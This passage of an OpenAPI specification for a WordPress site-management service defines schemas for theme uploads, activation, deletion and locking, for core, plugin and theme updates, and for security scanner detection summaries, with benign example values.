"7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "UploadSitesWpThemesRequest": { "type": "object", "required": [ "sites", "themes" ], "additionalProperties": true, "description": "Multipart request body for uploading a theme ZIP file and installing it on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and theme update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites where the uploaded theme ZIP file should be installed.", "items": { "type": "object", "required": [ "id" ], "additionalProperties": true, "description": "Site selected for installing the uploaded theme ZIP file.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpThemeOperationOptions" } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } } }, "themes": { "type": "object", "required": [ "file" ], "additionalProperties": true, "description": "Theme ZIP file uploaded for installation.", "properties": { "file": { "type": "string", "format": "binary", "description": "Theme ZIP archive. Accepted content types are `application/zip` and `application/x-zip-compressed`; maximum size is 50 MB." } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ], "themes": { "file": "theme.zip" } } }, "UploadSitesWpThemesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a theme upload task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpThemeTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "SitesWpThemeOperationTheme": { "type": "object", "required": [ "filename" ], "additionalProperties": true, "description": "Installed theme selected for an activation, deletion, lock, or unlock operation.", "properties": { "filename": { "type": "string", "description": "Theme filename returned by the theme list.", "example": "twentytwentyfour" } }, "example": { "filename": "twentytwentyfour" } }, "SitesWpThemeActionSite": { "type": "object", "required": [ "id", "themes" ], "additionalProperties": true, "description": "Site and installed themes selected for an asynchronous theme action.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpThemeOperationOptions" }, "themes": { "type": "array", "minItems": 1, "description": "Installed themes to act on for the site.", "items": { "$ref": "#/components/schemas/SitesWpThemeOperationTheme" } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } }, "ActivateSitesWpThemesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for activating installed themes on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and theme update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and installed themes selected for activation.", "items": { "$ref": "#/components/schemas/SitesWpThemeActionSite" } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } }, "ActivateSitesWpThemesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a theme activation task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpThemeTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "DeleteSitesWpThemesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for deleting installed themes from selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and theme update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and installed themes selected for deletion.", "items": { "$ref": "#/components/schemas/SitesWpThemeActionSite" } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } }, "DeleteSitesWpThemesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a theme deletion task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpThemeTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "SitesWpThemeLockSite": { "type": "object", "required": [ "id", "themes" ], "additionalProperties": true, "description": "Site and installed themes selected for lock or unlock.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "themes": { "type": "array", "minItems": 1, "description": "Installed themes to lock or unlock for the site.", "items": { "$ref": "#/components/schemas/SitesWpThemeOperationTheme" } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } }, "LockSitesWpThemesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for locking theme updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites and installed themes selected for lock.", "items": { "$ref": "#/components/schemas/SitesWpThemeLockSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } }, "LockSitesWpThemesResponse": { "type": "object", "required": [ "lock" ], "description": "Response envelope returned after theme updates are locked.", "properties": { "lock": { "type": "object", "required": [ "site_ids" ], "description": "Theme lock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the lock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "UnlockSitesWpThemesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for unlocking theme updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites and installed themes selected for unlock.", "items": { "$ref": "#/components/schemas/SitesWpThemeLockSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } }, "UnlockSitesWpThemesResponse": { "type": "object", "required": [ "unlock" ], "description": "Response envelope returned after theme updates are unlocked.", "properties": { "unlock": { "type": "object", "required": [ "site_ids" ], "description": "Theme unlock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the unlock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "ListSitesWpUpdatesSort": { "type": "string", "default": "id,asc", "description": "Sort order for returned WordPress updates by site.", "example": "last_sync_at,desc" }, "SitesWpUpdateFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to returned WordPress updates.", "properties": { "type:in": { "type": "array", "minItems": 1, "description": "Update types to include in the response. Omit this filter to include core, plugin, and theme updates.", "items": { "type": "string", "enum": [ "core", "plugin", "theme" ] }, "example": [ "plugin", "theme" ] } }, "example": { "type:in": [ "plugin", "theme" ] } }, "ListSitesWpUpdatesResponse": { "type": "object", "required": [ "sites", "meta" ], "description": "Response envelope returned with a paginated list of available WordPress updates grouped by site.", "properties": { "sites": { "type": "array", "description": "Sites and their available WordPress updates.", "items": { "type": "object", "required": [ "id", "last_sync_at", "wp" ], "description": "Site with available WordPress updates grouped by update type.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced successfully, or `null` when the site has not synced.", "example": "2026-01-12T08:20:00Z" }, "wp": { "type": "object", "description": "Available WordPress updates for the site. `plugins` and `themes` are present when that update type is included and at least one matching update exists in the page; `core` is present only for sites with a core update.", "properties": { "plugins": { "type": "array", "description": "Plugins with available updates for the site.", "items": { "$ref": "#/components/schemas/SitesWpPlugin" } }, "themes": { "type": "array", "description": "Themes with available updates for the site.", "items": { "$ref": "#/components/schemas/SitesWpTheme" } }, "core": { "$ref": "#/components/schemas/WordpressCore" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ], "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": false, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ], "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ], "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": false, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ], "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } }, { "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f", "last_sync_at": "2026-01-11T12:15:00Z", "wp": { "plugins": [], "themes": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "PerformSitesWpUpdatesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for starting WordPress core, plugin, or theme updates on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and WordPress core, plugin, or theme update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and update items selected for the task.", "items": { "type": "object", "required": [ "id" ], "additionalProperties": true, "description": "Site and WordPress update items selected for one update task.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "wordpress_core": { "type": "boolean", "description": "Set to `true` to include the available WordPress core update for this site.", "example": true }, "options": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional controls for the update workflow selected for one site.", "properties": { "backup": { "type": "boolean", "description": "Create a backup before applying updates when the site plan supports it. Do not combine with `sandbox`.", "example": true }, "sandbox": { "type": "boolean", "description": "Run the update through a sandbox workflow when supported. Do not combine with `backup`.", "example": false }, "visual_regression": { "type": "boolean", "description": "Run visual regression checks as part of the update workflow when the site plan supports it.", "example": false } }, "example": { "backup": true, "sandbox": false, "visual_regression": false } }, "plugins": { "type": "array", "description": "Plugins to update for the site. Omit or send an empty array when no plugin updates should be performed.", "items": { "type": "object", "required": [ "filename" ], "additionalProperties": true, "description": "Plugin selected for an update operation.", "properties": { "filename": { "type": "string", "description": "Plugin filename path returned by the list response.", "example": "akismet/akismet.php" }, "target_version": { "type": "string", "description": "Version to update to. Omit this field to use the latest available version detected for the plugin.", "example": "5.3.3" } }, "example": { "filename": "akismet/akismet.php", "target_version": "5.3.3" } } }, "themes": { "type": "array", "description": "Themes to update for the site. Omit or send an empty array when no theme updates should be performed.", "items": { "type": "object", "required": [ "filename" ], "additionalProperties": true, "description": "Theme selected for an update operation.", "properties": { "filename": { "type": "string", "description": "Theme stylesheet filename returned by the list response.", "example": "twentytwentyfour" }, "target_version": { "type": "string", "description": "Version to update to. Omit this field to use the latest available version detected for the theme.", "example": "1.1" } }, "example": { "filename": "twentytwentyfour", "target_version": "1.1" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "options": { "backup": true }, "plugins": [ { "filename": "akismet/akismet.php", "target_version": "5.3.3" } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "options": { "backup": true }, "plugins": [ { "filename": "akismet/akismet.php", "target_version": "5.3.3" } ] } ] } }, "PerformSitesWpUpdatesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress update task is created.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Background task created for a WordPress update operation.", "properties": { "id": { "$ref": "#/components/schemas/TaskId" }, "status": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current task status.", "example": "queued" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Task creation time.", "example": "2026-01-12T09:00:00Z" } }, "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "SiteSecurityScannerDetectionSummaryWithMarkedSafe": { "type": "object", "required": [ "total", "marked_safe" ], "description": "Count pair returned for detection types that support safe marking.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total detections of this type.", "example": 12 }, "marked_safe": { "type": "integer", "minimum": 0, "description": "Detections of this type currently marked safe.", "example": 2 } }, "example": { "total": 12, "marked_safe": 2 } }, "SiteSecurityScannerDetectionCronJobFilters": { "type": "object", "required": [], "description": "Filters applied to returned cron job detections.", "properties": { "content:contains": { "type": "string", "description": "Match cron job detections whose command content contains this value.", "example": "wp cron" }, "marked_safe:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Match cron job detections by safe marking state.", "example": false } }, "example": { "content:contains": "wp cron", "marked_safe:eq": false } } }, "parameters": { "page": { "name": "page", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "default": 1 }, "description": "Page number. Defaults to 1." }, "per_page": { "name": "perPage", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100 }, "description": "Number of items per page (max 100, default 100)." }, "timezone": { "name": "timezone", "in": "query", "required": false, "schema": { "type": "string", "default": "UTC", "example": "UTC" }, "description": "Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC." } } }, "x-tagGroups": [ { "name": "Account", "tags": [ "Clients", "Teams", "Managed Accounts", "Sender Emails", "Tags", "Tasks", "Reports", "Scheduled Reports", "Report Templates", "Staging", "Auto Update Schedules", "Auto Update History", "Plugin Branding", "WP Login Branding", "Backup Destinations" ] }, { "name": "Sites", "tags": [ "Sites", "Site Settings", "Site Plugin Branding", "Site WP Login Branding", "Files", "Tables", "Snapshots", "Important Pages", "Activity Logs", "Custom Works", "Notes", "WordPress Core", "WordPress Plugins", "WordPress Themes", "WordPress Updates", "WordPress Users" ] }, { "name": "Backups", "tags": [ "Backups Activation", "Backup Restore", "Backup Download", "Backup Upload", "Backup Migration" ] }, { "name": "Performance", "tags": [ "Performance Activation", "Performance Settings", "Performance Reports" ] }, { "name": "Security", "tags": [ "Security Activation", "Login Protection" ] }, { "name": "Scanner", "tags": [ "Cleanup", "Detection Summary", "File Detections", "Script Detections", "Plugin Detections", "Cron Job Detections", "Redirection Detections" ] }, { "name": "Firewall", "tags": [ "Firewall Activation", "Bot Protection", "Geo Blocking", "IP Access", "Firewall Logs" ] } ] }